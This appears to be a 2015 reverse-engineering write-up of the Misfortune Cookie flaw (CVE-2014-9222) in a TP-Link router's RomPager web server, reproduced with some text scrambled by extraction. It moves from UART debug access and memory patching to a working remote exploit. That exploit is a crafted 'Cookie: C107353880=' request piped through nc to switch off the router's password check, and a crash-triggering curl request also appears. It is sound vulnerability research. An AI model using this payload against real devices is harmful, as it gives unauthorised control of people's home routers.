Sie sind auf Seite 1von 12

Misfortune Cookie (CVE-2014-9222) Demystified

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)


http://cawanblog.blogspot.com/2015/02/misfortune-cookie-cve-2014-9222.html
on 16/02/2015
The misfortune cookie vulnerability has been around for a while but still lacking
an analysis which illustrate the techinical details of the vulnerability in public.
Those so called "misfortune cookie scanner" are just a simple script to retrieve
the return string at path "/Allegro" as shown below,
cawan$ curl 192.168.1.1/Allegro
<html>
<head>
<title>Allegro Copyright</title></head><body>
RomPager Advanced Version 4.07<br>(C) 1995 - 2002 Allegro Software Development
Corporation
nothing special... So, let us dig further now. I am using TD-8901N with firmware
version "TD-W8901N v1_111211". After open the housing of the router, the Tx and Rx
are labeled on the PCB to show the UART connection are available to be connected
for debugging purposes. By using an oscilloscope to probe the Tx in bootup process,
it shown the baudrate is 115200 in 3.3v. Now, attach an USB-to-UART onto it and
bootup the router again. Well, we can see the boot log in pretty detail. However,
the command interface is really restricted, nothing can make use there, as shown
below,
Copyright (c) 2001 - 2012 TP-LINK TECHNOLOGIES CO., LTD.
TP-LINK>
TP-LINK> ?
Valid commands are:
sys
exit
ether
wan
etherdbg
tcephydbg
ip
bridge
dot1q
pktqos
show
set
lan
TP-LINK>
Anyway, we can stop the boot process at the zynos bootloader, as shown below,
Bootbase Version: VTC_SPI1.26 | 2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode
RAS Version: 1.0.0 Build 121121 Rel.08870
System
ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003

| 2012/05/18

Press any key to enter debug mode within 3 seconds.


.......
Enter Debug Mode
In debug mode, we can use zynos commands which is AT command alike, as shown
below,
Enter Debug Mode
athe
======= Debug Command Listing =======
AT
just answer OK
ATHE
print help
ATBAx
change baudrate. 1:38.4k, 2:19.2k, 3:9.6k 4:57.6k 5:115.2k
ATENx,(y)
set BootExtension Debug Flag (y=password)

ATSE
ATTI(h,m,s)
ATDA(y,m,d)
ATDS
ATDT
ATDUx,y
ATRBx
ATRWx
ATRLx
ATGO(x)
ATGR
ATGT
ATRTw,x,y(,z)
ATSH
ATDOx,y
ATTD
ATUR

show the seed of password generator


change system time to hour:min:sec or show current time
change system date to year/month/day or show current date
dump RAS stack
dump Boot Module Common Area
dump memory contents from address x for length y
display the 8-bit value of address x
display the 16-bit value of address x
display the 32-bit value of address x
run program at addr x or boot router
boot router
run Hardware Test Program
RAM test level w, from address x to y (z iterations)
dump manufacturer related data in ROM
download from address x for length y to PC via XMODEM
download router configuration to PC via XMODEM
upload router firmware to flash ROM

< press any key to continue >


According to Piotrbania [1], there is a "god mode" which should be triggered
to enable hidden commands. The hidden commands will allow us to view memory
mapping and to edit memory contents, as shown below,
ATEN1, A847D6B1
OK
athe
======= Debug Command Listing =======
AT
just answer OK
ATHE
print help
ATBAx
change baudrate. 1:38.4k, 2:19.2k, 3:9.6k 4:57.6k 5:115.2k
ATENx,(y)
set BootExtension Debug Flag (y=password)
ATSE
show the seed of password generator
ATTI(h,m,s)
change system time to hour:min:sec or show current time
ATDA(y,m,d)
change system date to year/month/day or show current date
ATDS
dump RAS stack
ATDT
dump Boot Module Common Area
ATDUx,y
dump memory contents from address x for length y
ATWBx,y
write address x with 8-bit value y
ATWWx,y
write address x with 16-bit value y
ATWLx,y
write address x with 32-bit value y
ATRBx
display the 8-bit value of address x
ATRWx
display the 16-bit value of address x
ATRLx
display the 32-bit value of address x
ATGO(x)
run program at addr x or boot router
ATGR
boot router
ATGT
run Hardware Test Program
AT%Tx
Enable Hardware Test Program at boot up
ATBTx
block0 write enable (1=enable, other=disable)
< press any key to continue >
ATRTw,x,y(,z) RAM test level w, from address x to y (z iterations)
ATWEa(,b,c,d) write MAC addr, Country code, EngDbgFlag, FeatureBit to flash ROM
ATCUx
write Country code to flash ROM
ATCB
copy from FLASH ROM to working buffer
ATCL
clear working buffer
ATSB
save working buffer to FLASH ROM
ATBU
dump manufacturer related data in working buffer
ATSH
dump manufacturer related data in ROM
ATWMx
set low 6 digits MAC address in working buffer
ATMHx
set hight 6 digits MAC address in working buffer
ATBS
show the bootbase seed of password generator
ATLBx
xmodem upload bootbase,x is password
ATSMx
set 6 digits MAC address in working buffer
ATCOx
set country code in working buffer

ATFLx
ATSTx
ATSYx
ATVDx
ATPNx
ATFEx,y,...
ATMP
ATDOx,y

set EngDebugFlag in working buffer


set ROMRAS address in working buffer
set system type in working buffer
set vendor name in working buffer
set product name in working buffer
set feature bits in working buffer
check & dump memMapTab
download from address x for length y to PC via XMODEM

< press any key to continue >


ATTD
download router configuration to PC via XMODEM
ATUPx,y
upload to RAM address x for length y from PC via XMODEM
ATUR
upload router firmware to flash ROM
ATDC
hardware version check disable during uploading firmware
ATLC
upload router configuration file to flash ROM
ATUXx(,y)
xmodem upload from flash block x to y
ATERx,y
erase flash rom from block x to y
ATWFx,y,z
copy data from addr x to flash addr y, length z
ATXSx
xmodem select: x=0: CRC mode(default); x=1: checksum mode
ATLD
Upload Configuration File and Default ROM File to Flash
ATBR
Reset to default Romfile
ATCD
Convert Running ROM File to Default ROM File into Flash
OK
atmp
ROMIO image start at bfc30000
1:
2:
$ROM
3:
4:
5:
6:
7:
8:

9:
10:
11:
12:
13:
14:
15:
16:

17:

HTPCode(RAMCODE), start=80048000, len=E0000


RasCode(RAMCODE), start=80048000, len=6E0000
Section:
BootBas(ROMIMG), start=bfc28000, len=4000
DbgArea(ROMIMG), start=bfc2c000, len=2000
RomDir2(ROMDIR), start=bfc2e000, len=2000
BootExt(ROMIMG), start=bfc30030, len=13FD0
MemMapT(ROMMAP), start=bfc44000, len=C00
HTPCode(ROMBIN), start=bfc44c00, len=8000
(Compressed)
Version: HTP_TC V 0.05, start: bfc44c30
Length: 10488, Checksum: CB32
Compressed Length: 41CF, Checksum: D5A5
termcap(ROMIMG), start=bfc4cc00, len=400
RomDefa(ROMIMG), start=bfc4d000, len=2000
LedDefi(ROMIMG), start=bfc4f000, len=400
LogoImg(ROMIMG), start=bfc4f400, len=2000
LogoImg2(ROMIMG), start=bfc51400, len=2000
StrImag(ROMIMG), start=bfc53400, len=32000
Rt11nE2p(ROMIMG), start=bfc85400, len=400
fdata(ROMBIN), start=bfc85800, len=10000
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
RasCode(ROMBIN), start=bfc95800, len=192800
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612

So, we can make a summary here,


1. The very first execution is started from 0xbfc00000
To verify this, we can try this,

atgo bfc00000
Bootbase Version: VTC_SPI1.26 | 2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode
RAS Version: 1.0.0 Build 121121 Rel.08870
System
ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003

| 2012/05/18

Press any key to enter debug mode within 3 seconds.


.........
Enter Debug Mode
2. The zynos bootloader is started from 0x80000000. It will be unpacked and
decompressed in the previous stage before getting executed. It is not exactly
the 14C33 image of ras as shown below,
cawan$ binwalk ras
DECIMAL
HEXADECIMAL
DESCRIPTION
-------------------------------------------------------------------------------61315
0xEF83
ZyXEL rom-0 configuration block, name: "dbgarea", ...
61564
0xF07C
ZyXEL rom-0 configuration block, name: "dbgarea", ...
85043
0x14C33
LZMA compressed data, properties: 0x5D ...
118036
0x1CD14
Unix path: /usr/share/tabset/vt100:\
118804
0x1D014
ZyXEL rom-0 configuration block, name: "spt.dat", ...
118824
0x1D028
ZyXEL rom-0 configuration block, name:
"autoexec.net", ...
128002
0x1F402
GIF image data, version "89a", 200 x 50
136194
0x21402
GIF image data, version "89a", 560 x 50
244317
0x3BA5D
Neighborly text, "neighbor of your ADSL Router that ...
281224
0x44A88
Unix path: /I/J/L/M
328173
0x501ED
Copyright string: "Copyright (c) 2001 - 2012 TP-LINK ...
350259
0x55833
LZMA compressed data, properties: 0x5D, ...
415795
0x65833
LZMA compressed data, properties: 0x5D, ...
So, it should be dumped from memory by using atdo command.
3. The rtos which is threadx together with vulnerable allegro rompager is started
from 0x80020000. Again, it is unpacked and decompressed in the previous stage
before getting executed. Anyway, it is exactly the 65883 image being extracted
from the firmware, as shown above. Besides, the processor architecture can be
detected as below,
cawan$ binwalk --disasm --minsn=100 65833
DECIMAL
HEXADECIMAL
DESCRIPTION
-------------------------------------------------------------------------------0
0x0
MIPS executable code, 32/64-bit, big endian, ...
So, the 65883 is ready to be loaded in ida pro with 0x80020000 as base address
and MIPS big endian as processor architecture. According to Lior Oppenheim
and Shahar Tal [2], the vulnerability is due to the mis-interpretation of
"Cookie: C" header to the rompager webserver. While doing this,
cawan$ curl --header 'Cookie: C' 192.168.1.1
will cause the router get into something wrong and reboot immediately. At the
UART port, the "Kernel Panic" alike error dump is shown accordingly, as below.
TP-LINK>

TLB refill exception occured!


EPC= 0x8010E5D8
SR= 0x10000003
CR= 0xC080500C
$RA= 0x00000000
Bad Virtual Address = 0x00000000
UTLB_TLBS ..\core\sys_isr.c:267 sysreset()
$r0=
$a0=
$t0=
$t4=
$s0=
$s4=
$t8=
$gp=

0x00000000
0x00000001
0x8001FF80
0x804A9460
0x804A8A60
0x00000001
0x804A9E48
0x8040F004

$at=
$a1=
$t1=
$t5=
$s1=
$s5=
$t9=
$sp=

0x80350000
0x805D7AF8
0xFFFFFFFE
0x804A8A60
0x8040C114
0x8000007C
0x00000000
0x805E2B60

$v0=
$a2=
$t2=
$t6=
$s2=
$s6=
$k0=
$fp=

0x00000000
0xFFFFFFFF
0x804A8F38
0x804A9D00
0x805E2BC8
0x8040E5FC
0x00000000
0x805E2BC8

$v1=
$a3=
$t3=
$t7=
$s3=
$s7=
$k1=
$ra=

0x00000001
0x00000000
0x804A9E47
0x00000040
0x80042A70
0x00000000
0x8000007C
0x8003A3D0

00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
805e2bc8:
805e2bd8:
805e2be8:
805e2bf8:
805e2c08:
805e2c18:
805e2c28:
...
...
805e2f68:
805e2f78:
805e2f88:
805e2f98:
805e2fa8:
805e2fb8:
805e2fc8:

80
80
80
80
80
80
00

5e
4e
55
5e
40
5e
00

2b
d5
54
2c
f8
2c
00

f8
ba
4c
18
ac
30
00

80
00
42
80
00
80
80

04
00
5f
10
00
10
16

2a
00
54
e5
00
d7
c4

70
00
4c
e0
00
38
28

80
80
42
80
80
80
80

4e
40
53
42
40
40
5e

d5
f8
00
64
e6
f8
2c

ba
ac
ba
dc
0c
ac
40

00
80
80
80
80
00
80

00
48
41
4e
10
00
10

00
4e
34
d5
dc
00
ec

01
29
0c
b9
c0
00
28

.^+...*p.N......
.N.......@...HN)
.UTLB_TLBS...A4.
.^,......Bd..N..
.@.......@......
.^,0...8.@......
.......(.^,@...(

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

00
00
00
00
00
00
00

................
................
................
................
................
................
................

current task
dump task
tx_stack_ptr
tx_stack_start
tx_stack_end
tx_stack_size
tx_run_count
00 01

= httpd
= network
= 0x805D5990
= 0x805D3AF0
= 0x805D5AEF
= 0x00002000
= 0x00000220
02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805d5990: 00 00 00 00 80 5d 5a
805d59a0: 80 44 2c 8c 80 44 2c
805d59b0: 80 4a db 98 10 00 00
805d59c0: 80 1e cc ac 10 00 00
805d59d0: 00 00 00 00 00 00 05
805d59e0: 80 5d 5a 90 80 07 20
805d59f0: 00 00 00 00 00 00 00
805d5a00: 00 00 00 00 80 4d ac
805d5a10: c0 a8 01 90 00 00 00
805d5a20: 80 45 23 34 00 00 00
805d5a30: 00 00 00 00 00 00 00
805d5a40: 00 00 00 00 00 00 00
805d5a50: 10 00 00 01 80 4a db
...
...
Reserve for Print when Crash
Erasing 4K Sector...

70
90
01
01
dc
c8
00
88
01
14
00
00
98

80
80
00
00
00
80
00
80
80
00
00
00
00

44
44
00
00
00
45
00
52
5d
00
00
00
00

2b
2c
00
00
00
23
00
90
5a
00
00
00
00

f8
7c
0a
00
14
34
00
38
90
00
00
00
00

80
80
00
80
c0
00
00
00
80
00
00
c0
00

4a
44
00
51
a8
00
00
00
51
00
00
a8
00

db
2c
00
47
01
00
00
00
47
00
00
01
00

98
94
00
98
90
01
00
01
98
00
00
01
00

.....]Zp.D+..J..
.D,..D,..D,|.D,.
.J..............
.............QG.
................
.]Z... ..E#4....
................
.....M...R.8....
.........]Z..QG.
.E#4............
................
................
.....J..........

Erasing 4K Sector...
writeRomBlock(): Erase OK!
Well, the error is occured at httpd process and the program counter is at
0x8010E5D8. Let's check the details in ida pro.
ROM:8010E5B0 loc_8010E5B0:
# CODE XREF: sub_8010E574+ECj
ROM:8010E5B0
li
$t7, 0x43
# 0x43='C'
ROM:8010E5B4
bne
$v0, $t7, loc_8010E618
ROM:8010E5B8
li
$a1, 0x3D
ROM:8010E5BC
addiu
$s0, 1
ROM:8010E5C0
move
$a0, $s0
ROM:8010E5C4
jal
sub_8016C340
ROM:8010E5C8
nop
ROM:8010E5CC
move
$a0, $s0
ROM:8010E5D0
move
$s1, $v0
ROM:8010E5D4
addiu
$s1, 1
ROM:8010E5D8
jal
sub_801F2E74
ROM:8010E5DC
sb
$zero, -1($s1)
ROM:8010E5E0
move
$a0, $s1
ROM:8010E5E4
jal
sub_8016CA24
ROM:8010E5E8
move
$s3, $v0
ROM:8010E5EC
li
$a2, 0x28
ROM:8010E5F0
mul
$t2, $s3, $a2
ROM:8010E5F4
move
$a1, $s1
ROM:8010E5F8
addiu
$t5, $s4, 0x6B28
ROM:8010E5FC
move
$s0, $v0
ROM:8010E600
addu
$at, $s1, $s0
ROM:8010E604
addu
$a0, $t5, $t2
ROM:8010E608
jal
sub_8016A784
ROM:8010E60C
sb
$zero, 0($at)
ROM:8010E610
j
loc_8010E644
ROM:8010E614
addu
$s0, $s1, $s0
ROM:8010E618 #
--------------------------------------------------------------------------Excellent, it is exactly the codes being mentioned in [2]. It seems the syntax
Cxxx=yyy will be interpreted as xxx being multiplied with 0x28 at ROM:8010E5F0,
and sum the result with a base address being calculated at ROM:8010E5F8, and
use the new address as the destination address to copy yyy into it at ROM:8010E608.
Hence, it allows us to perform an arbitrary overwrite here. On the other hand,
it is possible to "unlock" the router with "sys pwauthen 0", as shown below.
cawan$ curl 192.168.1.1
<html>
<head>
<title>Protected Object</title></head><body>
<h1>Protected Object</h1>Username or Password error</body></html>
TP-LINK> sys pswauthen 0
Do not need password authentication for configuration!
TP-LINK>
cawan$ curl 192.168.1.1
<html>
<head>
<title>
</title><meta http-equiv="Content-Type" content="text/html; charset=
iso-8859-1">
<meta http-equiv=Content-Script-Type content=text/javascript>
<meta http-equiv=Content-Style-Type content=text/css>
</head><frameset rows="65,75,*" framespacing="0" border="0" frameborder="0">
<frame name="header" noresize src="status.html" marginwidth="0" marginheight="0">

<frame name="navigation" noresize src="navigation-status.html" marginwidth="0"


marginheight="0">
<frame name="main" noresize src="../status/status_deviceinfo.htm" marginwidth="0"
marginheight="0">
</frameset><noframes>
</noframes>
</html>
So, let us find the exact location of the "unlock" byte now. By tracing the string
"Do not need password authentication for configuration!", at instruction ROM:801F9168,
it seems the "unlock" byte is located at 0x8034FF94. Now, let's confirm it. Based on
the memory dump of 0x80000000, the firmware decompression job is completed prior the
address 0x80014BC0 and jump to 0x80020000 at that address with instruction "jalr $s0".
From ida pro, we know that $at is equal to 0x80020000, if we change the instruction
at ROM:0x80014BC0 from "jalr $s0" to "sw $s0, -4($at)", then once the image being
decompressed, it will just copy the content of $s0 to 0x8001FFFC, and stop the boot
process there. So, by reading the content at 0x8001FFFC, we can know the zynos is
going to jump to 0x80020000 or somewhere else. Let's do it.
Bootbase Version: VTC_SPI1.26 | 2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode
RAS Version: 1.0.0 Build 121121 Rel.08870
System
ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003

| 2012/05/18

Press any key to enter debug mode within 3 seconds.


............
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
atgr
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
atrl 8001fffc
8001FFFC: 80020000
As a little reminder here, the ac30fffc is the hex of "sw $s0, -4($at)". Now, we can
confirm the base of decompressed image is located at 0x80020000. As mentioned, we
know the "unlock" byte is located at 0x8034FF94, and if we change it from 1 to 0, then
it suppose to work without password authentication. Let's try it now.
atrb 8034ff94
8034FF94: 01
OK
atwb 8034ff94,0
OK
atgo 80020000
Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD

initialize ch = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a


initialize ch = 1, ethernet address: 14:cc:20:57:38:2a
Wan Channel init ........ done
Reset dmt
Check DMT version =b2 ........
Initializing ADSL F/W ........ done
ADSL HW version: b2, HCLK 140
ok
==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswap on,DS bitswap on
OlrON
SRAON
Testlab 32
largeD flag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse : on
input line: sysdisa
Erasing 4K Sector...
Erasing 4K Sector...
writeRomBlock(): Erase OK!
ble PM!
Dyingasp OFF!
dhcp address probe action is disabled
Valid Loss of power OFF!
run distributePvcFakeMac!
set try multimode number to 3 (dropmode try num 3)
Syncookie switch On!
run distributePvcFakeMac!
run distributePvcFakeMac!
run d
Erasing 4K Sector...
Erasing 4K Sector...
writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...
cawan$ curl 192.168.1.1
<html>
<head>
<title>
</title><meta http-equiv="Content-Type" content="text/html; charset=
iso-8859-1">
<meta http-equiv=Content-Script-Type content=text/javascript>
<meta http-equiv=Content-Style-Type content=text/css>
</head><frameset rows="65,75,*" framespacing="0" border="0" frameborder="0">
<frame name="header" noresize src="status.html" marginwidth="0" marginheight="0">
<frame name="navigation" noresize src="navigation-status.html" marginwidth="0"
marginheight="0">
<frame name="main" noresize src="../status/status_deviceinfo.htm" marginwidth="0"
marginheight="0">
</frameset><noframes>
</noframes>
</html>

Excellent, it is definitely working in "unlock" mode right now. So, it is the time
to exploit the vulnerability remotely. By referring the code snippet of httpd again,
it seems we need to know the value of $s4 at ROM:8010E5F8 in order to calculate the
destination address of write operation at ROM:8010E608. We show the code snippet of
httpd again here.
ROM:8010E5B0 loc_8010E5B0:
# CODE XREF: sub_8010E574+ECj
ROM:8010E5B0
li
$t7, 0x43
# 0x43='C'
ROM:8010E5B4
bne
$v0, $t7, loc_8010E618
ROM:8010E5B8
li
$a1, 0x3D
ROM:8010E5BC
addiu
$s0, 1
ROM:8010E5C0
move
$a0, $s0
ROM:8010E5C4
jal
sub_8016C340
ROM:8010E5C8
nop
ROM:8010E5CC
move
$a0, $s0
ROM:8010E5D0
move
$s1, $v0
ROM:8010E5D4
addiu
$s1, 1
ROM:8010E5D8
jal
sub_801F2E74
ROM:8010E5DC
sb
$zero, -1($s1)
ROM:8010E5E0
move
$a0, $s1
ROM:8010E5E4
jal
sub_8016CA24
ROM:8010E5E8
move
$s3, $v0
ROM:8010E5EC
li
$a2, 0x28
ROM:8010E5F0
mul
$t2, $s3, $a2
ROM:8010E5F4
move
$a1, $s1
ROM:8010E5F8
addiu
$t5, $s4, 0x6B28 # $s4 = 0x8040F8AC
ROM:8010E5FC
move
$s0, $v0
ROM:8010E600
addu
$at, $s1, $s0
ROM:8010E604
addu
$a0, $t5, $t2
ROM:8010E608
jal
sub_8016A784
ROM:8010E60C
sb
$zero, 0($at)
ROM:8010E610
j
loc_8010E644
ROM:8010E614
addu
$s0, $s1, $s0
ROM:8010E618 #
--------------------------------------------------------------------------The problem right now is how to get the value of $s4 at ROM:8010E5F8 ?
Simple, just copy the content of $s4 into a rarely use register such as $s7 and
then trigger a "kernel panic" event immediately. Let's do it now. We are going
to change,
ROM:8010E5FC
ROM:8010E600

move
addu

$s0, $v0
$at, $s1, $s0

to
ROM:8010E5FC
ROM:8010E600

add
jr

$s7, $s4,$zero
$zero

and the hex of these 2 instructions are,


"add $s7, $s4,$zero"
"jr $zero"

=
=

0x0280b820
0x00000008

So, let's get the $s4 value,


Bootbase Version: VTC_SPI1.26 | 2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB Winbond W25Q16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode
RAS Version: 1.0.0 Build 121121 Rel.08870
System
ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003

| 2012/05/18

Press any key to enter debug mode within 3 seconds.


.......
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
(Compressed)
Version: FDATA, start: bfc85830
Length: A94C, Checksum: DCEE
Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
(Compressed)
Version: ADSL ATU-R, start: bfc95830
Length: 3E7004, Checksum: 3336
Compressed Length: 122D57, Checksum: 3612
ERROR
ATWL 8010E5FC, 0280b820
OK
ATWL 8010E600, 00000008
OK
ATGO 80020000
Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initialize ch = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initialize ch = 1, ethernet address: 14:cc:20:57:38:2a
Wan Channel init ........ done
Reset dmt
Check DMT version =b2 ........
Initializing ADSL F/W ........ done
ADSL HW version: b2, HCLK 140
ok
==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswap on,DS bitswap on
OlrON
SRAON
Testlab 32
largeD flag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse : on
input line: sysdisa
Erasing 4K Sector...
Erasing 4K Sector...
writeRomBlock(): Erase OK!
ble PM!
Dyingasp OFF!
dhcp address probe action is disabled
Valid Loss of power OFF!
run distributePvcFakeMac!
set try multimode number to 3 (dropmode try num 3)
Syncookie switch On!
run distributePvcFakeMac!
run distributePvcFakeMac!
run d
Erasing 4K Sector...
Erasing 4K Sector...
writeRomBlock(): Erase OK!

istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...
Erasing 4K Sector...
Erasing 4K Sector...
writeRomBlock(): Erase OK!
Well, simply issue a cookie to the router now, and it should "kernel panic"
immediately.
cawan$ curl --header 'Cookie: C9=9' 192.168.1.1
At UART port, we can see this immediately, :)
TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805808
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()
$r0=
$a0=
$t0=
$t4=
$s0=
$s4=
$t8=
$gp=

0x00000000
0x00000001
0x8001FF80
0x804A9460
0x804A8A60
0x00000001
0x804A9E48
0x8040F004

$at=
$a1=
$t1=
$t5=
$s1=
$s5=
$t9=
$sp=

0x80350000
0x805D7AF8
0xFFFFFFFE
0x804A8A60
0x8040C114
0x8000007C
0x00000000
0x805E2B60

$v0=
$a2=
$t2=
$t6=
$s2=
$s6=
$k0=
$fp=

0x00000000
0xFFFFFFFF
0x804A8F38
0x804A9D00
0x805E2BC8
0x8040E5FC
0x00000000
0x805E2BC8

$v1=
$a3=
$t3=
$t7=
$s3=
$s7=
$k1=
$ra=

0x00000001
0x00000000
0x804A9E47
0x00000040
0x80042A70
0x8040F8AC
0x8000007C
0x8003A3D0

00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
805e2bc8:
805e2bd8:
805e2be8:
805e2bf8:
805e2c08:
805e2c18:
...
...

80
80
80
80
80
80

5e
4e
55
5e
40
5e

2b
fe
54
2c
f8
2c

f8
21
4c
18
ac
30

80
00
42
80
00
80

04
00
5f
10
00
10

2a
00
54
e5
00
d7

70
09
4c
ec
00
38

80
80
42
80
80
80

4e
40
4c
42
40
40

fe
f8
00
64
e6
f8

1e
ac
21
dc
0c
ac

80
80
80
80
80
00

4e
48
1f
4e
10
00

fe
4e
2e
fe
dc
00

20
29
88
1d
c0
00

.^+...*p.N...N.
.N.!.....@...HN)
.UTLB_TLBL.!....
.^,......Bd..N..
.@.......@......
.^,0...8.@......

Fine, the EPC is 0x00000000, as what we want it to be. Besides, the value of $s7
is 0x8040F8AC, which is the value of $s4 too, that we are looking for it.
Now, we know the value of $s4 is 0x8040F8AC, then the value of $t5 is 0x804163D4,
which is the base address of the calculation for destination address of write
operation. Since we need to overwrite 0x8034FF94 now, so
0x8034FF94 - 0x804163D4 = 0xFFF39BC0

<- Do it in Dword

0xFFF39BC0 % 0x28 = 0

<- Do it in Qword

0xFFF39BC0 / 0x28 = 0x06661718

<- Do it in Qword

0x06661718 = 107353880
Because the address 0x8034FF94 is exactly at the first byte of 0x28 bytes aligned
chunk,
then we can only overwrite the single byte with a null character (0x00). However, if
we
send the specially-crafted packet to the router by using curl, it is inappropriate
because curl will padding the header with 0x0d0a0d0a. Instead, it is better to send
the specially-crafted packet with nc. By defining a specially-craft packet properly
in a file, we can just pipe it into nc and send it over the router to "unlock" the
router remotely. Let's do it now.
cawan$ cat ./cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450
0000010: 7365 722d 4167 656e 743a
0000020: 372e 3333 2e30 0a48 6f73
0000030: 2e31 3638 2e31 2e31 0a41
0000040: 202a 2f2a 0a43 6f6f 6b69
0000050: 3733 3533 3838 303d 000a

2f31
2063
743a
6363
653a

2e31
7572
2031
6570
2043

0a55
6c2f
3932
743a
3130

GET / HTTP/1.1.U
ser-Agent: curl/
7.33.0.Host: 192
.168.1.1.Accept:
*/*.Cookie: C10
7353880=..

cawan$ curl 192.168.1.1


<html>
<head>
<title>Protected Object</title></head><body>
<h1>Protected Object</h1>Username or Password error</body></html>
cawan$
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
cawan$ curl 192.168.1.1
<html>
<head>
<title>
</title><meta http-equiv="Content-Type" content="text/html; charset=
iso-8859-1">
<meta http-equiv=Content-Script-Type content=text/javascript>
<meta http-equiv=Content-Style-Type content=text/css>
</head><frameset rows="65,75,*" framespacing="0" border="0" frameborder="0">
<frame name="header" noresize src="status.html" marginwidth="0" marginheight="0">
<frame name="navigation" noresize src="navigation-status.html" marginwidth="0"
marginheight="0">
<frame name="main" noresize src="../status/status_deviceinfo.htm" marginwidth="0"
marginheight="0">
</frameset><noframes>
</noframes>
</html>
cawan$
Cool, we are done, and it seems the misfortune cookie vulnerability is really
interesting.
References:
[1] http://piotrbania.com/all/articles/tplink_patch/
[2] http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf